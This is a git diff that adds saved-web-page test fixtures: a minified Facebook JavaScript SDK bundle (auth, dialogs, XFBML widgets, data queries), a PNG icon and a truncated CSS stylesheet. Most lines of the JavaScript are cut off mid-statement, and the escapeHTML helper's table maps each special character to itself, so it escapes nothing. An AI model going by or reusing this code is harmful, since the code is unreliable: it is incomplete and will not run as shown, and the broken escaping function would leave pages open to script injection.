+__d("sdk.Frictionless",["sdk.Auth","sdk.api","sdk.Event","sdk.Dialog"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.api'),i=b('sdk.Event'),j=b('sdk.Dialog'),k={_allowedRecipients:{},_useFrictionless:false,_updateRecipients:function(){k._allowedRecipients={};h('/me/apprequestformerrecipients',function(l){if(!l||l.error)return;ES5(l.data,'forEach',true,function(m){k._allowedRecipients[m.recipient_id]=true;});});},init:function(){k._useFrictionless=true;g.getLoginStatus(function(l){if [...]
+__d("insertIframe",["guid","GlobalCallback"],function(a,b,c,d,e,f){var g=b('guid'),h=b('GlobalCallback');function i(j){j.id=j.id||g();j.name=j.name||g();var k=false,l=false,m=function(){if(k&&!l){l=true;j.onload&&j.onload(j.root.firstChild);}},n=h.create(m);if(document.attachEvent){var o=('<iframe'+' id="'+j.id+'"'+' name="'+j.name+'"'+(j.title?' title="'+j.title+'"':'')+(j.className?' class="'+j.className+'"':'')+' style="border:none;'+(j.width?'width:'+j.width+'px;':'')+(j.height?'heig [...]
+__d("sdk.Native",["copyProperties","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log'),i=b('UserAgent'),j='fbNativeReady',k={onready:function(l){if(!i.nativeApp()){h.error('FB.Native.onready only works when the page is rendered '+'in a WebView of the native Facebook app. Test if this is the '+'case calling FB.UA.nativeApp()');return;}if(window.__fbNative&&!this.nativeReady)g(this,window.__fbNative);if(this.nativeReady){l();}else{var m=function(n){window.removeEv [...]
+__d("sdk.UIServer",["sdk.Auth","sdk.Content","copyProperties","sdk.Dialog","sdk.DOM","sdk.Event","flattenObject","sdk.Frictionless","sdk.getContextType","guid","insertIframe","Log","sdk.Native","QueryString","resolveURI","sdk.RPC","sdk.Runtime","UrlMap","UserAgent","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Content'),i=b('copyProperties'),j=b('sdk.Dialog'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('flattenObject'),n=b('sdk.Frictionless'),o=b('sdk.getContextType'),p=b('guid'), [...]
+__d("sdk.ui",["Assert","copyProperties","Log","sdk.Runtime","sdk.UIServer","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('Log'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('sdk.UIServer');function m(n,o){g.isObject(n);g.maybeFunction(o);n=h({},n);if(!n.method){i.error('"method" is a required parameter for FB.ui().');return null;}if((n.method=='permissions.request'||n.method=='permissions.oauth')&&(n.display=='iframe'||n.display=='dialog')){var p='scope' in n? [...]
+__d("legacy:fb.auth",["sdk.Auth","sdk.Cookie","copyProperties","sdk.Event","FB","Log","sdk.Runtime","sdk.SignedRequest","sdk.ui"],function(a,b,c,d){var e=b('sdk.Auth'),f=b('sdk.Cookie'),g=b('copyProperties'),h=b('sdk.Event'),i=b('FB'),j=b('Log'),k=b('sdk.Runtime'),l=b('sdk.SignedRequest'),m=b('sdk.ui');i.provide('',{getLoginStatus:function(){return e.getLoginStatus.apply(e,arguments);},getAuthResponse:function(){return e.getAuthResponse();},getAccessToken:function(){return k.getAccessTok [...]
+__d("sdk.Canvas.Flash",["sdk.api","sdk.RPC","Log","sdk.Runtime","createArrayFrom"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.RPC'),i=b('Log'),j=b('sdk.Runtime'),k=b('createArrayFrom'),l='CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000',m=null;function n(r){r.style.visibility='hidden';}function o(r){r.style.visibility='';}function p(r){i.info('hideFlashCallback called with %s',r.state);var s=window.document.getElementsByTagName('object');ES5(k(s),'forEach',true,function(t){if(t.type.to [...]
+__d("sdk.Canvas.IframeHandling",["DOMWrapper","sdk.RPC"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('sdk.RPC'),i=null,j;function k(){var o=g.getWindow().document,p=o.body,q=o.documentElement,r=Math.max(p.offsetTop,0),s=Math.max(q.offsetTop,0),t=p.scrollHeight+r,u=p.offsetHeight+r,v=q.scrollHeight+s,w=q.offsetHeight+s;return Math.max(t,u,v,w);}function l(o){if(typeof o!='object')o={};var p=0,q=0;if(!o.height){o.height=k();p=16;q=4;}if(!o.frame)o.frame=window.name||'iframe_canvas';if( [...]
+__d("sdk.Canvas.Navigation",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(j){g.local.navigate=function(k){j({path:k});};g.remote.setNavigationEnabled(true);}g.stub('setNavigationEnabled');var i={setUrlHandler:h};e.exports=i;});
+__d("sdk.Canvas.Tti",["sdk.RPC","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.RPC'),h=b('sdk.Runtime');function i(n,o){var p={appId:h.getClientID(),time:ES5('Date','now',false),name:o},q=[p];if(n)q.push(function(r){n(r.result);});g.remote.logTtiMessage.apply(null,q);}function j(){i(null,'StartIframeAppTtiTimer');}function k(n){i(n,'StopIframeAppTtiTimer');}function l(n){i(n,'RecordIframeAppTti');}g.stub('logTtiMessage');var m={setDoneLoading:l,startTimer:j,stopTimer:k};e.exports=m;});
+__d("legacy:fb.canvas",["Assert","sdk.Canvas.Environment","sdk.Event","FB","sdk.Canvas.Flash","sdk.Canvas.IframeHandling","Log","sdk.Canvas.Navigation","sdk.Runtime","sdk.Canvas.Tti"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.Canvas.Environment'),g=b('sdk.Event'),h=b('FB'),i=b('sdk.Canvas.Flash'),j=b('sdk.Canvas.IframeHandling'),k=b('Log'),l=b('sdk.Canvas.Navigation'),m=b('sdk.Runtime'),n=b('sdk.Canvas.Tti');h.provide('Canvas',{setSize:function(o){e.maybeObject(o,'Invalid argument');r [...]
+__d("sdk.Canvas.Prefetcher",["sdk.api","createArrayFrom","sdk.Runtime","CanvasPrefetcherConfig"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('createArrayFrom'),i=c('CanvasPrefetcherConfig'),j=b('sdk.Runtime'),k={AUTOMATIC:0,MANUAL:1},l=i.sampleRate,m=i.blacklist,n=k.AUTOMATIC,o=[];function p(){var u={object:'data',link:'href',script:'src'};if(n==k.AUTOMATIC)ES5(ES5('Object','keys',false,u),'forEach',true,function(v){var w=u[v];ES5(h(document.getElementsByTagName(v)),'forEach',true,funct [...]
+__d("legacy:fb.canvas.prefetcher",["FB","sdk.Canvas.Prefetcher","sdk.Event","sdk.Runtime"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Canvas.Prefetcher'),g=b('sdk.Event'),h=b('sdk.Runtime');e.provide('Canvas.Prefetcher',f);g.subscribe('init:post',function(i){if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))f._maybeSample();});},3);
+__d("legacy:fb.compat.ui",["copyProperties","FB","Log","sdk.ui","sdk.UIServer"],function(a,b,c,d){var e=b('copyProperties'),f=b('FB'),g=b('Log'),h=b('sdk.ui'),i=b('sdk.UIServer');f.provide('',{share:function(j){g.error('share() has been deprecated. Please use FB.ui() instead.');h({display:'popup',method:'stream.share',u:j});},publish:function(j,k){g.error('publish() has been deprecated. Please use FB.ui() instead.');j=j||{};h(e({display:'popup',method:'stream.publish',preview:1},j||{}),k [...]
+__d("mergeArrays",[],function(a,b,c,d,e,f){function g(h,i){for(var j=0;j<i.length;j++)if(ES5(h,'indexOf',true,i[j])<0)h.push(i[j]);return h;}e.exports=g;});
+__d("format",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);return h.replace(/\{(\d+)\}/g,function(j,k){var l=i[Number(k)];return (l===null||l===undefined)?'':l.toString();});}e.exports=g;});
+__d("safeEval",[],function(a,b,c,d,e,f){function g(h){if(h===null||typeof h==='undefined')return;if(typeof h!=='string')return h;return Function('return eval("'+h.replace(/"/g,'\\"')+'");')();}e.exports=g;});
+__d("sdk.Waitable",["sdk.Model"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=g.extend({constructor:function(){this.parent({Value:undefined});},error:function(i){this.inform("error",i);},wait:function(i,j){if(j)this.subscribe('error',j);this.monitor('Value.change',ES5(function(){var k=this.getValue();if(k!==undefined){this.value=k;i(k);return true;}},'bind',true,this));}});e.exports=h;});
+__d("sdk.Query",["format","safeEval","Type","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('format'),h=b('safeEval'),i=b('Type'),j=b('sdk.Waitable');function k(p){return ES5(p.split(','),'map',true,function(q){return ES5(q,'trim',true);});}function l(p){var q=(/^\s*(\w+)\s*=\s*(.*)\s*$/i).exec(p),r,s,t='unknown';if(q){s=q[2];if(/^(["'])(?:\\?.)*?\1$/.test(s)){s=h(s);t='index';}else if(/^\d+\.?\d*$/.test(s))t='index';}if(t=='index'){r={type:'index',key:q[1],value:s};}else r={type:'unknown' [...]
+__d("sdk.Data",["sdk.api","sdk.ErrorHandling","mergeArrays","sdk.Query","safeEval","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.ErrorHandling'),i=b('mergeArrays'),j=b('sdk.Query'),k=b('safeEval'),l=b('sdk.Waitable'),m={query:function(n,o){var p=new j().parse(Array.prototype.slice.call(arguments));m.queue.push(p);m._waitToProcess();return p;},waitOn:function(n,o){var p=new l(),q=n.length;if(typeof(o)=='string'){var r=o;o=h.unguard(function(){return k(r);});}ES5(n,'for [...]
+__d("legacy:fb.data",["FB","sdk.Data"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Data');e.provide('Data',f);},3);
+__d("legacy:fb.event",["FB","sdk.Event"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Event');e.provide('Event',f);e.provide('EventProvider',f);},3);
+__d("legacy:fb.frictionless",["FB","sdk.Frictionless"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Frictionless');e.provide('Frictionless',f);},3);
+__d("sdk.init",["sdk.Cookie","copyProperties","createArrayFrom","sdk.ErrorHandling","sdk.Event","Log","QueryString","sdk.Runtime","wrapFunction"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.ErrorHandling'),k=b('sdk.Event'),l=b('Log'),m=b('QueryString'),n=b('sdk.Runtime'),o=b('wrapFunction');function p(q){if(n.getInitialized())l.warn('FB.init has already been called - this could indicate a problem');if(/number|string/.test(typeof q)){l [...]
+__d("legacy:fb.init",["FB","sdk.init"],function(a,b,c,d){var e=b('FB'),f=b('sdk.init');e.provide('',{init:f});},3);
+__d("legacy:fb.json",["FB","ManagedError"],function(a,b,c,d){var e=b('FB'),f=b('ManagedError');e.provide('JSON',{stringify:function(g){try{return ES5('JSON','stringify',false,g);}catch(h){throw new f(h.message,h);}},parse:function(g){try{return ES5('JSON','parse',false,g);}catch(h){throw new f(h.message,h);}}});},3);
+__d("legacy:fb.pay",["FB","copyProperties","sdk.Runtime","sdk.UIServer","sdk.XD"],function(a,b,c,d){b('FB');var e=b('copyProperties'),f=b('sdk.Runtime'),g=b('sdk.UIServer'),h=b('sdk.XD'),i={error_code:1383001,error_message:'An unknown error caused the dialog to be closed'},j=function(k){return function(l){k(l&&l.response?ES5('JSON','parse',false,l.response):i);};};e(g.Methods,{'pay.prompt':{transform:function(k){var l=h.handler(j(k.cb),'parent.frames['+(window.name||'iframe_canvas')+']') [...]
+__d("legacy:fb.ua",["FB","UserAgent"],function(a,b,c,d){var e=b('FB'),f=b('UserAgent');e.provide('UA',{nativeApp:f.nativeApp});},3);
+__d("legacy:fb.ui",["FB","sdk.ui"],function(a,b,c,d){var e=b('FB'),f=b('sdk.ui');e.provide('',{ui:f});},3);
+__d("Miny",[],function(a,b,c,d,e,f){var g='Miny1',h={encode:[],decode:{}},i='wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('');function j(n){for(var o=h.encode.length;o<n;o++){var p=o.toString(32).split('');p[p.length-1]=i[parseInt(p[p.length-1],32)];p=p.join('');h.encode[o]=p;h.decode[p]=o;}return h;}function k(n){var o=n.match(/\w+|\W+/g),p={};for(var q=0;q<o.length;q++)p[o[q]]=(p[o[q]]||0)+1;var r=ES5('Object','keys',false,p);r.sort(function(u,v){return p[u]<p[v]?1:(p[v]<p[u]?-1:0);});var s [...]
+__d("sdk.feature",["SDKConfig"],function(a,b,c,d,e,f){var g=c('SDKConfig');function h(i,j){if(g.features&&i in g.features)return g.features[i];return typeof j!=='undefined'?j:null;}e.exports=h;});
+__d("runOnce",[],function(a,b,c,d,e,f){function g(h){var i,j;return function(){if(!i){i=true;j=h();}return j;};}e.exports=g;});
+__d("XFBML",["Assert","copyProperties","createArrayFrom","sdk.DOM","sdk.feature","sdk.Impressions","Log","ObservableMixin","runOnce","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.DOM'),k=b('sdk.feature'),l=b('sdk.Impressions'),m=b('Log'),n=b('ObservableMixin'),o=b('runOnce'),p=c('SDKConfig'),q=b('UserAgent'),r={},s={},t=0,u=new n();function v(ca,da){return ca[da]+'';}function w(ca){return ca.scopeName?(ca.scopeName+ [...]
+__d("PluginPipe",["sdk.Content","copyProperties","guid","insertIframe","Miny","ObservableMixin","sdk.Runtime","UrlMap","UserAgent","XFBML","PluginPipeConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('copyProperties'),i=b('guid'),j=b('insertIframe'),k=b('Miny'),l=b('ObservableMixin'),m=c('PluginPipeConfig'),n=b('sdk.Runtime'),o=c('SDKConfig'),p=b('UrlMap'),q=b('UserAgent'),r=b('XFBML'),s=new l(),t=m.threshold,u=[];function v(){return !!(o.usePluginPipe&&n.getSecure()! [...]
+__d("IframePlugin",["sdk.Auth","sdk.createIframe","sdk.DOM","sdk.Event","guid","Log","ObservableMixin","PluginPipe","QueryString","resolveURI","sdk.Runtime","Type","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.createIframe'),i=b('sdk.DOM'),j=b('sdk.Event'),k=b('guid'),l=b('Log'),m=b('ObservableMixin'),n=b('PluginPipe'),o=b('QueryString'),p=b('resolveURI'),q=b('sdk.Runtime'),r=b('Type'),s=b('UrlMap'),t=b('sdk.XD'),u={skin:'string',font:'string',width:'px',height:'p [...]
+__d("PluginTags",[],function(a,b,c,d,e,f){var g={activity:{border_color:'string',filter:'string',action:'string',max_age:'string',linktarget:'string',header:'bool',recommendations:'bool',site:'hostname'},create_event_button:{},degrees:{href:'url',limit_profile_visibility:'bool'},facepile:{href:'string',action:'string',size:'string',max_rows:'string',show_count:'bool'},friendpile:{href:'string',action:'string',size:'string',max_rows:'string'},follow:{href:'url',layout:'string',show_faces: [...]
+__d("sdk.Arbiter",[],function(a,b,c,d,e,f){var g={BEHAVIOR_EVENT:'e',BEHAVIOR_PERSISTENT:'p',BEHAVIOR_STATE:'s'};e.exports=g;});
+__d("sdk.XFBML.Element",["sdk.DOM","Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('Type'),i=b('ObservableMixin'),j=h.extend({constructor:function(k){this.parent();this.dom=k;},fire:function(){this.inform.apply(this,arguments);},getAttribute:function(k,l,m){var n=g.getAttr(this.dom,k);return n?m?m(n):n:l;},_getBoolAttribute:function(k,l){var m=g.getBoolAttr(this.dom,k);return m===null?l:m;},_getPxAttribute:function(k,l){return this.getAttribute(k,l,function(m){var [...]
+__d("sdk.XFBML.IframeWidget",["sdk.Arbiter","sdk.Auth","sdk.Content","copyProperties","sdk.DOM","sdk.Event","sdk.XFBML.Element","guid","insertIframe","QueryString","sdk.Runtime","sdk.ui","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('sdk.Auth'),i=b('sdk.Content'),j=b('copyProperties'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('sdk.XFBML.Element'),n=b('guid'),o=b('insertIframe'),p=b('QueryString'),q=b('sdk.Runtime'),r=b('sdk.ui'),s=b('UrlMap'),t=b('sdk.XD'),u=m.extend({_if [...]
+__d("sdk.XFBML.Comments",["sdk.Event","sdk.XFBML.IframeWidget","QueryString","sdk.Runtime","UrlMap","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=b('QueryString'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('UrlMap'),m=b('UserAgent'),n=h.extend({_visibleAfter:'immediate',_refreshOnAuthChange:true,setupAndValidate:function(){var o={channel_url:this.getChannelUrl(),colorscheme:this.getAttribute('colorscheme'),numposts:this.getAttribute('num [...]
+__d("sdk.XFBML.CommentsCount",["sdk.Data","sdk.DOM","sdk.XFBML.Element","sprintf"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('sdk.XFBML.Element'),j=b('sprintf'),k=i.extend({process:function(){h.addCss(this.dom,'fb_comments_count_zero');var l=this.getAttribute('href',window.location.href);g._selectByIndex(['commentsbox_count'],'link_stat','url',l).wait(ES5(function(m){var n=m[0].commentsbox_count;h.html(this.dom,j('<span class="fb_comments_count">%s</span>',n));if(n>0)h [...]
+__d("sdk.Anim",["sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h={ate:function(i,j,k,l){k=!isNaN(parseFloat(k))&&k>=0?k:750;var m=40,n={},o={},p=null,q=setInterval(ES5(function(){if(!p)p=ES5('Date','now',false);var r=1;if(k!=0)r=Math.min((ES5('Date','now',false)-p)/k,1);for(var s in j)if(j.hasOwnProperty(s)){var t=j[s];if(!n[s]){var u=g.getStyle(i,s);if(u===false)return;n[s]=this._parseCSS(u+'');}if(!o[s])o[s]=this._parseCSS(t.toString());var v='';ES5(n[s],'forEach',true,function(w, [...]
+__d("escapeHTML",[],function(a,b,c,d,e,f){var g=/[&<>"'\/]/g,h={'&':'&','<':'<','>':'>','"':'"',"'":''','/':'/'};function i(j){return j.replace(g,function(k){return h[k];});}e.exports=i;});
+__d("sdk.Helper",["sdk.ErrorHandling","sdk.Event","safeEval","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.ErrorHandling'),h=b('sdk.Event'),i=b('safeEval'),j=b('UrlMap'),k={isUser:function(l){return l<2.2e+09||(l>=1e+14&&l<=100099999989999)||(l>=8.9e+13&&l<=89999999999999);},upperCaseFirstChar:function(l){if(l.length>0){return l.substr(0,1).toUpperCase()+l.substr(1);}else return l;},getProfileLink:function(l,m,n){n=n||(l?j.resolve('www')+'/profile.php?id='+l.uid:null);if(n)m='<a class="fb [...]
+__d("sdk.XFBML.ConnectBar",["sdk.Anim","sdk.api","sdk.Auth","createArrayFrom","sdk.Data","sdk.DOM","sdk.XFBML.Element","escapeHTML","sdk.Event","format","sdk.Helper","sdk.Insights","sdk.Intl","sdk.Runtime","UrlMap","UserAgent","ConnectBarConfig"],function(a,b,c,d,e,f){var g=b('sdk.Anim'),h=b('sdk.api'),i=b('sdk.Auth'),j=b('createArrayFrom'),k=c('ConnectBarConfig'),l=b('sdk.Data'),m=b('sdk.DOM'),n=b('sdk.XFBML.Element'),o=b('escapeHTML'),p=b('sdk.Event'),q=b('format'),r=b('sdk.Helper'),s= [...]
+__d("sdk.XFBML.Fan",["sdk.XFBML.IframeWidget","sdk.Runtime","Log"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.Runtime'),i=b('Log'),j=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={api_key:h.getClientID(),connections:this.getAttribute('connections','10'),css:this.getAttribute('css'),height:this._getPxAttribute('height'),id:this.getAttribute('profile-id'),logobar:this._getBoolAttribute('logo-bar'),name:this.getAttribute('name'),stream:this._get [...]
+__d("sdk.XFBML.EdgeCommentWidget",["sdk.XFBML.IframeWidget","sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.DOM'),i=10000,j=g.extend({constructor:function(k){this.parent(k.commentNode);this._iframeWidth=k.width+1;this._iframeHeight=k.height;this._attr={master_frame_name:k.masterFrameName,offsetX:k.relativeWidthOffset-k.paddingLeft};this.dom=k.commentNode;this.dom.style.top=k.relativeHeightOffset+'px';this.dom.style.left=k.relativeWidthOffset+'px';this.dom.styl [...]
+__d("sdk.XFBML.EdgeWidget",["sdk.XFBML.IframeWidget","sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Helper","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.XFBML.EdgeCommentWidget'),i=b('sdk.DOM'),j=b('sdk.Helper'),k=b('sdk.Runtime'),l=g.extend({_visibleAfter:'immediate',_showLoader:false,_rootPadding:null,setupAndValidate:function(){i.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel_url:this.getChannelUrl(),debug:this._getBoolAttribute('de [...]
+__d("sdk.XFBML.SendButtonFormWidget",["sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Event"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeCommentWidget'),h=b('sdk.DOM'),i=b('sdk.Event'),j=g.extend({constructor:function(k){this.parent(k);h.addCss(this.dom,'fb_send_button_form_widget');h.addCss(this.dom,k.colorscheme);h.addCss(this.dom,(typeof k.siderender!='undefined'&&k.siderender)?'siderender':'');this._attr.nodeImageURL=k.nodeImageURL;this._attr.nodeRef=k.nodeRef;this._attr.nodeTitle=k.n [...]
+__d("sdk.XFBML.Like",["sdk.XFBML.EdgeWidget","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.XFBML.SendButtonFormWidget'),i=g.extend({getUrlBits:function(){return {name:'like',params:this._attr};},_createEdgeCommentWidget:function(j,k){if('send' in this._attr&&'widget_type' in j&&j.widget_type=='send'){var l=this._getCommonEdgeCommentWidgetOpts(j,k);return new h(l);}else return this.parentCall("_createEdgeCommentWidget",j,k);},getIframeTit [...]
+__d("sdk.XFBML.LikeBox",["sdk.XFBML.EdgeWidget","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.Helper'),i=b('Log'),j=b('sdk.Runtime'),k=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={channel:this.getChannelUrl(),api_key:j.getClientID(),connections:this.getAttribute('connections'),css:this.getAttribute('css'),height:this.getAttribute('height'),id:this.getAttribute('profile-id'),header:this._getBoolAttribute('header' [...]
+__d("sdk.XFBML.LiveStream",["sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={app_id:this.getAttribute('event-app-id'),href:this.getAttribute('href',window.location.href),height:this._getPxAttribute('height',500),hideFriendsTab:this.getAttribute('hide-friends-tab'),redesigned:this._getBoolAttribute('redesigned-stream'),width:this._getPxAttribute('width',400),xid:this.getAttribute('xid [...]
+__d("sdk.XFBML.LoginButton",["sdk.Helper","IframePlugin"],function(a,b,c,d,e,f){var g=b('sdk.Helper'),h=b('IframePlugin'),i=h.extend({constructor:function(j,k,l,m){this.parent(j,k,l,m);var n=h.getVal(m,'on_login');if(n)this.subscribe('login.status',function(o){g.invokeHandler(n,null,[o]);});},getParams:function(){return {scope:'string',perms:'string',size:'string',login_text:'text',show_faces:'bool',max_rows:'string',show_login_face:'bool',registration_url:'url_maybe',auto_logout_link:'b [...]
+__d("sdk.XFBML.Name",["copyProperties","sdk.Data","escapeHTML","sdk.Event","sdk.XFBML.Element","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('sdk.Data'),i=b('escapeHTML'),j=b('sdk.Event'),k=b('sdk.XFBML.Element'),l=b('sdk.Helper'),m=b('Log'),n=b('sdk.Runtime'),o=k.extend({process:function(){g(this,{_uid:this.getAttribute('uid'),_firstnameonly:this._getBoolAttribute('first-name-only'),_lastnameonly:this._getBoolAttribute('last-name-only'),_possessiv [...]
+__d("sdk.XFBML.ProfilePic",["sdk.Data","sdk.DOM","escapeHTML","sdk.XFBML.Element","sdk.Event","format","sdk.Helper","sdk.Runtime","UrlMap","ProfilePicConfig"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('escapeHTML'),j=c('ProfilePicConfig'),k=b('sdk.XFBML.Element'),l=b('sdk.Event'),m=b('format'),n=b('sdk.Helper'),o=b('sdk.Runtime'),p=b('UrlMap'),q={n:'pic_big',normal:'pic_big',q:'pic_square',s:'pic',small:'pic',square:'pic_square',t:'pic_small',thumb:'pic_small'},r=k.ext [...]
+__d("sdk.XFBML.RecommendationsBar",["sdk.Arbiter","DOMEventListener","sdk.Event","sdk.XFBML.IframeWidget","resolveURI","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('DOMEventListener'),i=b('sdk.Event'),j=b('sdk.XFBML.IframeWidget'),k=b('resolveURI'),l=b('sdk.Runtime'),m=j.extend({getUrlBits:function(){return {name:'recommendations_bar',params:this._attr};},setupAndValidate:function(){function n(w,x){var y=0,z=null;function aa(){x();z=null;y=ES5('Date','now',false);}retu [...]
+__d("sdk.XFBML.Registration",["sdk.Auth","sdk.Helper","sdk.XFBML.IframeWidget","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Helper'),i=b('sdk.XFBML.IframeWidget'),j=b('sdk.Runtime'),k=b('UrlMap'),l=i.extend({_visibleAfter:'immediate',_baseHeight:167,_fieldHeight:28,_skinnyWidth:520,_skinnyBaseHeight:173,_skinnyFieldHeight:52,setupAndValidate:function(){this._attr={action:this.getAttribute('action'),border_color:this.getAttribute('border-color'),channel_url:t [...]
+__d("sdk.XFBML.Send",["sdk.DOM","sdk.XFBML.EdgeWidget","sdk.Runtime","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('sdk.XFBML.EdgeWidget'),i=b('sdk.Runtime'),j=b('sdk.XFBML.SendButtonFormWidget'),k=h.extend({setupAndValidate:function(){g.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel:this.getChannelUrl(),api_key:i.getClientID(),font:this.getAttribute('font'),colorscheme:this.getAttribute('colorscheme','light'),href:this.getAttribute('h [...]
+__d("sdk.XFBML.SocialContext",["sdk.Event","sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=h.extend({setupAndValidate:function(){var j=this.getAttribute('size','small');this._attr={channel:this.getChannelUrl(),width:this._getPxAttribute('width',400),height:this._getPxAttribute('height',100),ref:this.getAttribute('ref'),size:this.getAttribute('size'),keywords:this.getAttribute('keywords'),urls:this.getAttribute('urls'),object_id:this.ge [...]
+__d("legacy:fb.xfbml",["Assert","sdk.domReady","sdk.Event","FB","IframePlugin","PluginTags","wrapFunction","XFBML","sdk.XFBML.Comments","sdk.XFBML.CommentsCount","sdk.XFBML.ConnectBar","sdk.XFBML.Fan","sdk.XFBML.Like","sdk.XFBML.LikeBox","sdk.XFBML.LiveStream","sdk.XFBML.LoginButton","sdk.XFBML.Name","sdk.XFBML.ProfilePic","sdk.XFBML.RecommendationsBar","sdk.XFBML.Registration","sdk.XFBML.Send","sdk.XFBML.SocialContext"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.domReady'),g=b('sdk.Ev [...]
+void(0);
+}).call({}, window.inDapIF ? parent.window : window);
+} catch (e) {new Image().src="http:\/\/www.facebook.com\/" + 'common/scribe_endpoint.php?c=jssdk_error&m='+encodeURIComponent('{"error":"LOAD", "extra": {"name":"'+e.name+'","line":"'+(e.lineNumber||e.line)+'","script":"'+(e.fileName||e.sourceURL||e.script)+'","stack":"'+(e.stackTrace||e.stack)+'","message":"'+e.message+'"}}');}
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/apple-touch-icon.png b/src/test/resources/s/deadspin_files/apple-touch-icon.png
new file mode 100644
index 0000000..82d7ae0
Binary files /dev/null and b/src/test/resources/s/deadspin_files/apple-touch-icon.png differ
diff --git a/src/test/resources/s/deadspin_files/base.v10.static.20130118.css b/src/test/resources/s/deadspin_files/base.v10.static.20130118.css
new file mode 100644
index 0000000..0653acc
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/base.v10.static.20130118.css
@@ -0,0 +1,23 @@
+html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0;outline:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline}:focus{outline:0}body{line-height:1;color:black;background:white}ol,ul{list-style:none}tab [...]
+.ie #switch_view .switch_blogview{width:20px}.classic_frontpage #switch_blogview,#switch_blogview:hover{opacity:1}#switch_blogview span{display:none}#switch_topstories{border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px}#navigation li{float:left;margin-right:1em;text-transform:uppercase}#navigation li.selected a,#switch_view li.selected a,#thread_navigation a.selected{color:#fff;padding:1px 6px;border-radius:3px}#user{position:relative}#userMenu:after{content:'';display:bl [...]
